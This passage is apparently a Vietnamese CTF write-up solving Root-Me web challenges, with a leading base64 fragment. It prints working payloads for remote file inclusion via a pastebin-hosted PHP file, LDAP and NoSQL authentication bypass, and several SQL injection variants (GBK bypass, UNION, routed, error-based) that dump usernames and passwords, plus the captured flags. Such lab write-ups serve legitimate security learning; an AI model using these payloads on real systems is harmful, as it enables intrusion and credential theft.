SxTZWdvZSxzYW5zLXNlcmlmOwogICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgfQogICAgICBkaXYjbWFpbnsKICAgICAgICBwYWRkaW5nOiAyMHB4IDEwcHg7CiAgICAgIH0KICAgICAgbmF2ewogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYigxMDEsIDEwMSwgMTAxKTsKICAgICAgICBmb250LXNpemU6IDA7CiAgICAgIH0KICAgICAgbmF2IGF7CiAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIHBhZGRpbmc6IDVweCAxMHB4OwogICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7CiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICBjb2xvcjogIzU1NTsKICAgICAgfQogICAgICBuYXYgYS5hY3RpdmV7CiAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDExOSwgMTM4LCAxNDQpOwogICAgICB9CiAgICAgIG5hdiBhOmhvdmVyewogICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgIGJhY2tncm91bmQ6IHJnYigxMTksIDEzOCwgMTQ0KTsKICAgICAgfQogICAgICBoMnsKICAgICAgICBtYXJnaW4tdG9wOjA7CiAgICAgIH0KICAgICAgPC9zdHlsZT4nCiAgXTsK

**FLAG:** Th1sIsTh3Fl4g!



### Remote File Inclusion

Mới vào ta fuzz thử `?lang=index.php`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_kMsPwBNJk6AoM0Eqx%2Fimage.png?alt=media\&token=56832b35-d897-416b-8c4e-d127e827d5c8)

Đọc đoạn báo lỗi ta biết được rằng giá trị truyền vào sẽ được ghép với chuỗi `_lang.php` rồi đưa vào `include`. Mục tiêu của mình là đọc source code của file index.php, thử với payload `index.php%00`

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_kQQZGX7xI61UrKIoh%2Fimage.png?alt=media\&token=c93ecbc5-7313-4283-bd3a-988493f184df)

Báo lỗi như thế là file index chỉ tồn tại ở thư mục hiện hànhchứ không có trong `usr/share/php` :<

Bài này là **RFI -> ý tưởng:** Tạo 1 file php đọc nội dung của index.php và cho server include về.

Tạo pastebin có nội dung sau:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kVCD2p6DSMxh-UPIf%2Fimage.png?alt=media\&token=c0dcb83d-fc61-41f8-894b-50f2ec9b5910)

Chèn link vào và nhớ thêm ký tự `NULL` vào: `https://pastebin.com/raw/8TLQNzmS%00`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kVSS6W7a7HHOMmr0f%2Fimage.png?alt=media\&token=fe638ed9-527f-4bed-9b55-9e480bde107f)

Hàm system đã bị chặn @@ vậy edit phải thử lại tất cả các hàm có thể open file. Cuối cùng thì hàm `file_get_contents` work!!! (Nhưng mình đã thay ký tự `NULL` bằng sufix `?`. Không hiểu sao NULL không work @@). Ctrl+U xem Source:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kXOxz6Y2l4Sdb3DW_%2Fimage.png?alt=media\&token=741758fd-e2fa-4798-b9ee-8918482ce834)

**FLAG:** R3m0t3\_iS\_r3aL1y\_3v1l



### LDAP injection - Authentication

Sau 5phút đọc doc của root-me đưa thì keyword nằm ở mục **5.1. And Blind LDAP injection**.

Thử `()` để show lỗi syntax:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_k_XUeCn2JVGpcSkGt%2Fimage.png?alt=media\&token=62c48eb8-2783-4928-b002-787df6a0e56a)

Thử `*` để `uid` và `userPassword` luôn đúng nhưng password đã filter:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_k_rG1TgKAGAihJsnL%2Fimage.png?alt=media\&token=9c7c8562-6038-4a03-a4e0-cb03544269b8)

Vậy phải kết control syntax để trả về giá trị **true**:

**Username:** \*)(!(&(1=2

**Password:** test))

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kbMxVlco1UiDvs6kg%2Fimage.png?alt=media\&token=f2b9c6e0-356d-44b2-be40-36b7bab130dc)

**FLAG:** SWRwehpkTI3Vu2F9DoTJJ0LBO

### NoSQL injection - Authentication

Sau 5 phút đọc doc và trọng tâm nằm ở **IV. PHP ARRAY INJECTIONS**. Ta tiến hành thực hiện inject:

Đọc source HTML thì ta biết bài này dùng phương thức `GET` cũng được không cần `POST`.

**PAYLOAD:** `?login[$ne]=1&pass[$ne]=1`&#x20;

> $ne = not equal

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kdyevCWvefxFPwz9h%2Fimage.png?alt=media\&token=654cb2cb-8030-4825-bed2-45cba5e195de)

As admin rồi @@ nhưng mà không phải flag (có 1 user hidden)

**PAYLOAD:** `?login[$ne]=admin&pass[$ne]=1`

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_ke_JoYPls2J1Ozv6L%2Fimage.png?alt=media\&token=6b101f04-c070-4682-9e58-27e11b8da04e)

Vẫn không không được @@ tìm hiểu thêm thì `mongodb` có thể query theo `regex`.

**PAYLOAD:** `?login[$regex]=^((?!admin|test).)*$&pass[$ne]=1`&#x20;

> ^((?!\_\_\_\_).)\*$ regex not contain
>
> admin|test chứa những ký tự này

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_kR1mp5_mqBOjmw7vt%2F-M_kgt3-0em5_08oVB3A%2Fimage.png?alt=media\&token=8c37c098-efa9-4fbf-b88d-0f4c12e893aa)

**FLAG:** nosqli\_no\_secret\_4\_you





### SQL injection - Authentication

Như một thói quen, vào bài 1 bài sqli bất kỳ thì ngay lập tức fuzz:  admin' or 1=1 --  --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZD4NED33BQV2Rjlo8e%2F-MZDS1iw59-LKDNHUPrJ%2Fimage.png?alt=media\&token=89500984-70b6-460a-9741-257966c81de9)

Thành công injection nhưng password ở đây không phải flag.

Username của mình là admin mà kết quả về là user1, như vậy là do điều kiện luôn đúng nên sẽ trả và user đầu tiên. Nên bỏ or phía sau đi!

> * username: admin' --  --
> * password: admin'--  --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZD4NED33BQV2Rjlo8e%2F-MZDSjOjIgjMc5od0BFp%2Fimage.png?alt=media\&token=b8a1beea-7af8-4fb4-b960-034647da3051)

**Flag**: t0\_W34k!$

### SQL injection - Authentication - GBK

Bài này theo title đã nói khá rõ "**GBK**", việc của mình là search **GBK bypass**

GBK là 1 loại charset giống như Unicode nhưng hiển thị được tiếng Hoa.

Mình cố thử injection tùm lum thứ vào nhưng không thành công , mình liền nghĩ phía server đã sử dụng hàm addslashes() hay đại loại vậy. Mình bắt đầu tìm cách bypass hàm này kết hợp với GBK phía trên.

> **THEO NHƯ RESEARCH ĐƯỢC:**
>
> Payload chứa dấu nháy (') sau khi qua hàm addslashed() sẽ được chèn dấu backslash (\\) phía trước dấu nháy để khi thực hiện query thì db sẽ hiểu dấu nháy như 1 ký tự bình thường.
>
> Charset GBK có những ký tự được gọi là **mutibyte** để hiện thị tiếng Hoa ví dụ như: **縗** viết dưới dạng byte-encode là **%bf%5c**
>
> Dấu \ encode sang byte %5c
>
> Dấu ' encode sang byte %27
>
> Như vậy chỉ cần gửi đoạn **%bf%27** đi thì addslashed() sẽ chèn %5c vào trước %27 tạo thành chuỗi %bf%5c%27 và decode sang string để thực hiện query là: 縗' rồi đưa vào query chạy 1 cách hoàn hảo???
>
> OH NOOOOO



> **SAIIIIII! WORKFLOW TRÊN "CÓ VẺ" ĐÚNG NHƯNG THẬT CHẤT SAI RẤT SAIIIII**
>
> Về việc mutibyte là chính xác, encode hay decode ở trên đều đúng.&#x20;
>
> **NHƯNG**: %bf%5c là ở dưới dạng byte
>
> Khi bỏ payload %bf%27 vào url thì đến server sẽ được url-decode thì ký tự %bf sẽ không đọc được nên lúc bỏ vào addslashes() cũng sẽ chỉ có %27 nên vẫn sẽ bị filter
>
> **Nên vậy cần phải suy nghĩ khác đi 1 chút ...**
>
> Ta cần tìm 1 ký tự tiếng hoa, ví dụ như: 縗
>
> Ký tự trên sẽ được url encode: %E7%B8%97 => **payload là %E7%B8%97%27**
>
> Phía server vẫn url decode cái trên. Đưa vào hàm addslahes() sẽ chèn %5c trước %27\
> \=> Lúc này server sửa payload chúng ta là **%E7%B8%97%5c%27** (縗\\')
>
> Đoạn payload đã được sửa trên được byte decoding: 鈺榎'
>
> Lúc này đoạn chuỗi trên vẫn giữ được dấu ' và đưa vào query một cách "an-toàn-đối-với-attacker".



> **PAYLOAD HOÀN HẢO:**
>
> Dưới dạng input: 縗' OR 1=1 ; -- -
>
> Dưới dạng url: %E7%B8%97%27+OR+1%3D1+%3B+--+

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZD4NED33BQV2Rjlo8e%2F-MZDy9iag-0FRlDQogG4%2Fimage.png?alt=media\&token=7bf88c58-bca4-4838-a6b9-3a9fd8700f7f)

**Flag**: iMDaFlag1337!

### SQL injection - String

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZI81897CJX1_hVG6cz%2Fimage.png?alt=media\&token=469bd69a-983a-4fc7-a1a5-591016f23992)

Tổng quan bài này có tận 2 chỗ để nhập form đó là search và login. Mình ưu tiên thử injection với search trước vì nó chỉ cần 1 input :> mình thử search `' abcxyz` xem:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZI9II73Cb_j9Sk1aAf%2Fimage.png?alt=media\&token=4642bb3a-7a67-4bed-aa6f-9f959725dc91)

Thật friendly, báo lỗi để mình biết được server sử fụng sqlite. Mình bắt đầu injection với kỹ thuật UNION:

> **PAYLOAD** để liệt kê tbl và column của db trong sqlite: &#x20;
>
> ~~' union select name from sqlite\_master --~~ //Báo lỗi sai vì không match column
>
> ' union select name,sql from sqlite\_master --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIACbiWl5sy51hXTN4%2Fimage.png?alt=media\&token=157c697c-32ae-447d-a807-e05ad36b917b)

Có tên bảng, tên cột. Mình bắt đầu leak USERname và password của bảng users ra:

> **PAYLOAD:** ' union select USERname, password from users --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIAZvEVERQeFoVw7Lu%2Fimage.png?alt=media\&token=7752803f-192a-4072-a8a9-d92d47557fb0)

**FLAG:** c4K04dtIaJsuWdi

### SQL injection - Numeric

Ở title là Numeric thì mình ngay lặp tực nghĩ ngay đến các định danh id của product, news, user,... Nên mình có thể bỏ qua phần login và kiếm đúng param chứa số để query, thật may mắn:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIE64JBQrcL5dY6pn7%2Fimage.png?alt=media\&token=bf126060-11e0-44a8-82bb-535e1484e215)

Ở bài báo này có 3 phần: Type (News), title (Système de news), và description.

Vậy sử dụng kỹ thuật UNION để injection trên thanh url.

> **PAYLOAD:** \&news\_id=1 union select name, sql, tbl\_name from sqlite\_master --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIF4z9e4PfKQqv-B7D%2Fimage.png?alt=media\&token=6247d522-6c4e-45fc-bf46-005e99d9b04f)

Có tên bảng, tên cột. Thực hiện query lấy password/flag

> **PAYLOAD:** \&news\_id=1 union select username, password, year from users --
>
> \=> Kết quả trả về sẽ bị mất trường username vì client chỉ hiển thị 1 Type thoiii
>
> **PAYLOAD EDITED:** \&news\_id=1 union select null, password, username from users --

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIFzKDTtc0Fsm8iVXF%2Fimage.png?alt=media\&token=c4079311-a172-4aa2-ab51-e1e5998958bf)

**FLAG:** aTlkJYLjcbLmue3

### SQL Injection - Routed

Vẫn như cũ, mới vào thì mình thử sức injection với search! Và sau một hồi fuzz linh tinh vào thì rút ra kết luận server đang sử dụng **mysql** và có một số từ bị filter: ORDER BY, AND, OR, ...

Sau một hồi đọc về thể loại routed sqli này thì mình có thể tưởng tượng ra trong đầu workflow của chall.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIMjHo75nsXfvKHwu1%2Fimage.png?alt=media\&token=25dbe79b-ce1d-4e6b-97b8-756dd5689186)

> INPUT login: admin
>
> SERVER sẽ thực hiện 2 câu query:&#x20;
>
> * Select **id, login** from users where **login**='admin'; (Lưu kết quả vào mảng **$result**)
> * Select **id**, **email** from users where **id**= '. **$result\["id"]  .';**
>
> SERVER gửi về CLIENT chỉ hiển thị ra id và email của trường có giá trị admin.
>
> \==================
>
> Đặc biệt ở đây là: **Output của query 1 là Input của query 2**.

Mình có thử:

![ ' union select 3 -- -](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIdO4qCKOF5KRuY-8a%2Fimage.png?alt=media\&token=4dd24f39-862c-4206-8945-eb959d22edd6)

Vậy suy ra mình union select cái gì thì nó sẽ truyền qua query 2 đúng như mình suy đoán. (số mình select thì sẽ hiển thị dưới cột id và lưu vào **$result\["id"]**.).

Sau đợt brainstorm căng não kết hợp với các bài trên mình đã đoán được tbl và col của db. Một phát PAYLOAD ăn ngay:

> PAYLOAD: ' union select 0x2720756e696f6e202073656c65637420312c2873656c6563742067726f75705f636f6e636174286c6f67696e2c20273a27202c70617373776f7264292066726f6d20757365727329202d2d202d -- -
>
> DECODED: **' union select ' union  select 1,(select group\_concat(login, ':' ,password) from users) -- - -- -**

**FLAG:** qs89QdAs9A

### SQL Truncation

Tổng quan thì ngoài title thì lượm được hint trong source:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIh9v20LBbGQGsbJr5%2Fimage.png?alt=media\&token=8ff36339-156e-4e67-8feb-43c3f0c34f7b)

Đây là bài mà tìm doc trên mạng đọc dễ hiểu :>>>

Hint đề bài cho thì username (login) của mình có tối đa 12 ký tự thôi, khi truyền vào nhiều hơn cũng sẽ bị truncate :>> Đồng thời mình tạo 1 user admin nhưng bị bảo là đã có trong db nên không được tạo nữa!!

Kết hợp điều trên mình sẽ tạo 1 user `admin       1` (13 ký tự, nếu không có số 1 thì không được nhé! Vì query vẫn sẽ tìm được 1 admin đã có trong db) với password >8 ký tự

Sau khi vào db thì số 1 sẽ bị xóa sẽ tạo thành user admin thứ 2 với password khác :> Và lấy được flag

**FLAG:** J41m3Qu4nD54Tr0nc

### SQL injection - Error

Bài này Error based và đựa trên doc được root cho đọc thì khá đuối cuối cùng cũng rút ra được nên làm gì.

Chạy thử payload: , cast((select table\_name from information\_schema.tables) as INT)

Báo lỗi:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIoTO0RarBpKANJZmn%2Fimage.png?alt=media\&token=cc6bcf13-230a-40f2-89e8-de302f85f3d4)

Mình limit 0,1 nhưng có 1 HINT: khuyên dùng kết hợp LIMIT và OFFSET

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIovlZGRj_a97b-vp1%2Fimage.png?alt=media\&token=393316d7-d31e-4faf-b3b7-5926b03a8eaf)

Dùng litmit 1 offset 1 thì show ra 1 lỗi:&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIpab0oTHaHnd91dWi%2Fimage.png?alt=media\&token=4bf3967e-9f08-47a1-bc0a-c04d0a21b24d)

Mình confuse mấy phút rằng đây là tên 1 bảng postgreSQL cơ mà @@ Hạ offset xuống 0:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIqOAOjYlNgvWznImS%2Fimage.png?alt=media\&token=f89bcf43-899a-4ad9-8c06-8b8b6f63f1d7)

May quá, chắc đây là tên tbl mình cần

Mình cứ nghĩ bài này sẽ viết TOOL để brute force column cơ mà may mình test 3 cái là ra tên cột của username với password bằng payload sau (sửa offset): , cast((SELECT column\_name FROM information\_schema.columns limit 1 offset 0) as INT)

Có tên bảng là **m3mbr35t4bl3** và 2 cột **us3rn4m3\_c0l, p455w0rd\_c0l**. Time to leak password!

> **PAYLOAD:** , cast((SELECT p455w0rd\_c0l FROM m3mbr35t4bl3 limit 1 offset 0) as INT)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZI2lUxRAmZf_4iIGmH%2F-MZIstfTJlIj4VZMn1bV%2Fimage.png?alt=media\&token=20488da9-b6db-45e1-a2e4-832ea6e5bfad)

**FLAG**: 1a2BdKT5DIx3qxQN3UaC







## WEB CLIENT

### HTML - disabled buttons

**Solution**: Clear input's **disable** attribute and submit

![disable attribute](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MVUX9iFDRAQHmvk3Awo%2F-MVUb24TYdD6NYrVAlZ7%2Fimage.png?alt=media\&token=f7b81801-0879-48a7-9a80-a87292f90509)

**Flag**: HTMLCantStopYou

![(result)](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MVUX9iFDRAQHmvk3Awo%2F-MVUbtBEO6WhhnFmPBeh%2Fimage.png?alt=media\&token=dc9816d5-aedf-483a-9a0f-017adc3f6ea5)

### Javascript - Authentication

**Solution**: Flag in Login() js function.

**Flag**: sh.org

![(result)](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MVUX9iFDRAQHmvk3Awo%2F-MVUcc-T0jTegqPyUL94%2Fimage.png?alt=media\&token=ea50f7a4-3705-463c-a022-fc4bbac3ff2f)

### Javascript - Source

**Solution**: Flag in Login() js function.

**Flag**: 123456azerty

![(result)](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MVUe6uhRAvd6anYUilb%2F-MVUhCbh1T5vwnMXXs3S%2Fimage.png?alt=media\&token=a5dc0729-5000-4bc2-b82f-385d0e192789)

